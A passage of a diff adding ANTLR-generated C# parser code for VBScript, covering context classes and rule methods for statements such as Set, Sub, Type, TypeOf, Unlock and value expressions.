+ } + + State = 2201; + Match(COMMA); + State = 2203; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,344,Context) ) { + case 1: + { + State = 2202; + Match(WS); + } + break; + } + State = 2205; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class SetStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SET() { return GetToken(VBScriptParser.SET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ImplicitCallStmt_InStmtContext implicitCallStmt_InStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public SetStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_setStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterSetStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitSetStmt(this); + } + } + + [RuleVersion(0)] + public SetStmtContext setStmt() { + SetStmtContext _localctx = new SetStmtContext(Context, State); + EnterRule(_localctx, 216, RULE_setStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2207; + Match(SET); + State = 2208; + Match(WS); + State = 2209; + implicitCallStmt_InStmt(); + State = 2211; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2210; + Match(WS); + } + } + + State = 2213; + Match(EQ); + State = 2215; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,346,Context) ) { + case 1: + { + State = 2214; + Match(WS); + } + break; + } + State = 2217; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class StopStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STOP() { return GetToken(VBScriptParser.STOP, 0); } + public StopStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_stopStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterStopStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitStopStmt(this); + } + } + + [RuleVersion(0)] + public StopStmtContext stopStmt() { + StopStmtContext _localctx = new StopStmtContext(Context, State); + EnterRule(_localctx, 218, RULE_stopStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2219; + Match(STOP); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class SubStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SUB() { return GetToken(VBScriptParser.SUB, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END_SUB() { return GetToken(VBScriptParser.END_SUB, 0); } + [System.Diagnostics.DebuggerNonUserCode] public VisibilityContext visibility() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFAULT() { return GetToken(VBScriptParser.DEFAULT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STATIC() { return GetToken(VBScriptParser.STATIC, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ArgListContext argList() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public SubStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_subStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterSubStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitSubStmt(this); + } + } + + [RuleVersion(0)] + public SubStmtContext subStmt() { + SubStmtContext _localctx = new SubStmtContext(Context, State); + EnterRule(_localctx, 220, RULE_subStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 2224; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 70)) & ~0x3f) == 0 && ((1L << (_la - 70)) & 2449958197289549841L) != 0)) { + { + State = 2221; + visibility(); + State = 2222; + Match(WS); + } + } + + State = 2228; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==DEFAULT) { + { + State = 2226; + Match(DEFAULT); + State = 2227; + Match(WS); + } + } + + State = 2232; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==STATIC) { + { + State = 2230; + Match(STATIC); + State = 2231; + Match(WS); + } + } + + State = 2234; + Match(SUB); + State = 2235; + Match(WS); + State = 2236; + ambiguousIdentifier(); + State = 2241; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==LPAREN || _la==WS) { + { + State = 2238; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2237; + Match(WS); + } + } + + State = 2240; + argList(); + } + } + + State = 2244; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 2243; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 2246; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,352,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 2254; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & -216067229064628226L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & -270216225676591105L) != 0) || ((((_la - 131)) & ~0x3f) == 0 && ((1L << (_la - 131)) & 361413870062927807L) != 0) || ((((_la - 208)) & ~0x3f) == 0 && ((1L << (_la - 208)) & 37889L) != 0)) { + { + State = 2248; + block(); + State = 2250; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 2249; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 2252; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + } + + State = 2256; + Match(END_SUB); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class TimeStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TIME() { return GetToken(VBScriptParser.TIME, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public TimeStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_timeStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterTimeStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitTimeStmt(this); + } + } + + [RuleVersion(0)] + public TimeStmtContext timeStmt() { + TimeStmtContext _localctx = new TimeStmtContext(Context, State); + EnterRule(_localctx, 222, RULE_timeStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2258; + Match(TIME); + State = 2260; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2259; + Match(WS); + } + } + + State = 2262; + Match(EQ); + State = 2264; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,356,Context) ) { + case 1: + { + State = 2263; + Match(WS); + } + break; + } + State = 2266; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class TypeStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TYPE() { return GetToken(VBScriptParser.TYPE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END_TYPE() { return GetToken(VBScriptParser.END_TYPE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public VisibilityContext visibility() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public TypeStmt_ElementContext[] typeStmt_Element() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public TypeStmt_ElementContext typeStmt_Element(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public TypeStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_typeStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterTypeStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitTypeStmt(this); + } + } + + [RuleVersion(0)] + public TypeStmtContext typeStmt() { + TypeStmtContext _localctx = new TypeStmtContext(Context, State); + EnterRule(_localctx, 224, RULE_typeStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2271; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 70)) & ~0x3f) == 0 && ((1L << (_la - 70)) & 2449958197289549841L) != 0)) { + { + State = 2268; + visibility(); + State = 2269; + Match(WS); + } + } + + State = 2273; + Match(TYPE); + State = 2274; + Match(WS); + State = 2275; + ambiguousIdentifier(); + State = 2277; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 2276; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 2279; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + State = 2284; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while ((((_la) & ~0x3f) == 0 && ((1L << _la) & 9007304807790147582L) != 0) || ((((_la - 68)) & ~0x3f) == 0 && ((1L << (_la - 68)) & -8087550153692545025L) != 0) || ((((_la - 132)) & ~0x3f) == 0 && ((1L << (_la - 132)) & 562949936644063L) != 0) || _la==L_SQUARE_BRACKET || _la==IDENTIFIER) { + { + { + State = 2281; + typeStmt_Element(); + } + } + State = 2286; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 2287; + Match(END_TYPE); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class TypeStmt_ElementContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AsTypeClauseContext asTypeClause() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + [System.Diagnostics.DebuggerNonUserCode] public SubscriptsContext subscripts() { + return GetRuleContext(0); + } + public TypeStmt_ElementContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_typeStmt_Element; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterTypeStmt_Element(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitTypeStmt_Element(this); + } + } + + [RuleVersion(0)] + public TypeStmt_ElementContext typeStmt_Element() { + TypeStmt_ElementContext _localctx = new TypeStmt_ElementContext(Context, State); + EnterRule(_localctx, 226, RULE_typeStmt_Element); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2289; + ambiguousIdentifier(); + State = 2304; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,364,Context) ) { + case 1: + { + State = 2291; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2290; + Match(WS); + } + } + + State = 2293; + Match(LPAREN); + State = 2298; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,362,Context) ) { + case 1: + { + State = 2295; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,361,Context) ) { + case 1: + { + State = 2294; + Match(WS); + } + break; + } + State = 2297; + subscripts(); + } + break; + } + State = 2301; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2300; + Match(WS); + } + } + + State = 2303; + Match(RPAREN); + } + break; + } + State = 2308; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2306; + Match(WS); + State = 2307; + asTypeClause(); + } + } + + State = 2311; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 2310; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 2313; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class TypeOfStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TYPEOF() { return GetToken(VBScriptParser.TYPEOF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IS() { return GetToken(VBScriptParser.IS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public TypeContext type() { + return GetRuleContext(0); + } + public TypeOfStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_typeOfStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterTypeOfStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitTypeOfStmt(this); + } + } + + [RuleVersion(0)] + public TypeOfStmtContext typeOfStmt() { + TypeOfStmtContext _localctx = new TypeOfStmtContext(Context, State); + EnterRule(_localctx, 228, RULE_typeOfStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2315; + Match(TYPEOF); + State = 2316; + Match(WS); + State = 2317; + valueStmt(0); + State = 2322; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,367,Context) ) { + case 1: + { + State = 2318; + Match(WS); + State = 2319; + Match(IS); + State = 2320; + Match(WS); + State = 2321; + type(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class UnloadStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode UNLOAD() { return GetToken(VBScriptParser.UNLOAD, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public UnloadStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_unloadStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterUnloadStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitUnloadStmt(this); + } + } + + [RuleVersion(0)] + public UnloadStmtContext unloadStmt() { + UnloadStmtContext _localctx = new UnloadStmtContext(Context, State); + EnterRule(_localctx, 230, RULE_unloadStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2324; + Match(UNLOAD); + State = 2325; + Match(WS); + State = 2326; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class UnlockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode UNLOCK() { return GetToken(VBScriptParser.UNLOCK, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA() { return GetToken(VBScriptParser.COMMA, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TO() { return GetToken(VBScriptParser.TO, 0); } + public UnlockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_unlockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterUnlockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitUnlockStmt(this); + } + } + + [RuleVersion(0)] + public UnlockStmtContext unlockStmt() { + UnlockStmtContext _localctx = new UnlockStmtContext(Context, State); + EnterRule(_localctx, 232, RULE_unlockStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2328; + Match(UNLOCK); + State = 2329; + Match(WS); + State = 2330; + valueStmt(0); + State = 2345; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,371,Context) ) { + case 1: + { + State = 2332; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2331; + Match(WS); + } + } + + State = 2334; + Match(COMMA); + State = 2336; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,369,Context) ) { + case 1: + { + State = 2335; + Match(WS); + } + break; + } + State = 2338; + valueStmt(0); + State = 2343; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,370,Context) ) { + case 1: + { + State = 2339; + Match(WS); + State = 2340; + Match(TO); + State = 2341; + Match(WS); + State = 2342; + valueStmt(0); + } + break; + } + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ValueStmtContext : ParserRuleContext { + public ValueStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_valueStmt; } } + + public ValueStmtContext() { } + public virtual void CopyFrom(ValueStmtContext context) { + base.CopyFrom(context); + } + } + public partial class VsAssignContext : ValueStmtContext { + [System.Diagnostics.DebuggerNonUserCode] public ImplicitCallStmt_InStmtContext implicitCallStmt_InStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ASSIGN() { return GetToken(VBScriptParser.ASSIGN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public VsAssignContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterVsAssign(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitVsAssign(this); + } + } + public partial class VsStructContext : ValueStmtContext { + public ValueStmtContext valUnary; + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public VsStructContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterVsStruct(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitVsStruct(this); + } + } + public partial class VsAddressOfContext : ValueStmtContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ADDRESSOF() { return GetToken(VBScriptParser.ADDRESSOF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public VsAddressOfContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterVsAddressOf(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitVsAddressOf(this); + } + } + public partial class VsTypeOfContext : ValueStmtContext { + [System.Diagnostics.DebuggerNonUserCode] public TypeOfStmtContext typeOfStmt() { + return GetRuleContext(0); + } + public VsTypeOfContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterVsTypeOf(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitVsTypeOf(this); + } + } + public partial class VsNewContext : ValueStmtContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEW() { return GetToken(VBScriptParser.NEW, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public TypeContext type() { + return GetRuleContext(0); + } + public VsNewContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterVsNew(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitVsNew(this); + } + } + public partial class VsICSContext : 